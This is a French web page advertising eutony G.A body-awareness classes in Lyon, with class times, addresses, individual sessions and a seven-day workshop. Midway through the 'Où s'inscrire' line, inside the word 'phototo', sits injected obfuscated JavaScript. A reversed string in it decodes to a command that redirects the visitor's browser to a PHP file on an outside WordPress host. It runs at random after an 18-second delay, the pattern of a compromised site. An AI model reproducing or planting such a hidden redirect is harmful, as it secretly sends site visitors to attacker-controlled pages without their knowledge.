LE CORPS SENSIBLE ET CREATIF : PRATIQUE DE L’EUTONIE G.A

 

Pratiquer l’eutonie G.A c’est partir en exploration pour découvrir son propre corps et apprendre à bouger différemment, à respecter ses propres limite, c’est faire l’expérience d’une détente profonde et régénérante, et de la liberté d’être tel que nous sommes.  Un cours d’eutonie, c’est une invitation à vivre le présent, dans le vécu et l’observation des sensations. – Un moment privilégié pour écouter son corps et se faire du bien. – L’opportunité de découvrir les fragilités et les forces qui nous sont propres. – Un temps de ressourcement pour (re)trouver sa pleine vitalité dans les activités quotidiennes et la vie professionnelle. Dans un cours collectif, la personne est guidée oralement dans l’exploration de ses sensations, dans le mouvement ou dans des situations de passivité. Une séance est toujours nouvelle, en accord avec les besoins et la réalité corporelle de chacun et chacune. Dans une pratique régulière, vous gagnez en souplesse, en mobilité et en solidité. Dans l’espace d’un cours, vous éveillez aussi votre qualité de présence à vous même et aux autres.

COURS COLLECTIFS

Où s'inscrire- pho$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to- Aude Cortes
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Cours découverte possible tout au long de l’année sur inscription préalable. 

LYON

Le lundi de 9h30 à 11h 

3, place croix-paquet, Lyon 1

Le mardi de 10h à 11h30

Au Lieues, 32 rue des tables claudiennes, Lyon 1

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SÉANCES INDIVIDUELLES

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Adultes, enfants, adolescents – Sur rendez-vous

Fatigue, surmenage, troubles émotionnels ou psychiques, trouble psycho-somatiques, douleurs musculo-squelettiques, étapes de vie …

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STAGES ET PARCOURS

2022
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« Faire le voyage vers soi » 

Parcours en 7 journées 

Nouvelles dates à venir en 2023: N’hésitez pas à me faire part de votre intérêt

Ce parcours de 7 journées propose des pratiques centrées sur le corps et la réflexion sur son histoire de vie en lien avec le monde qui change.

EUTONIE – DANSE DES SENS – APPROCHE NARRATIVE – ARBRE DE VIE – ECRITURE – ARTS ET CREATIVITE

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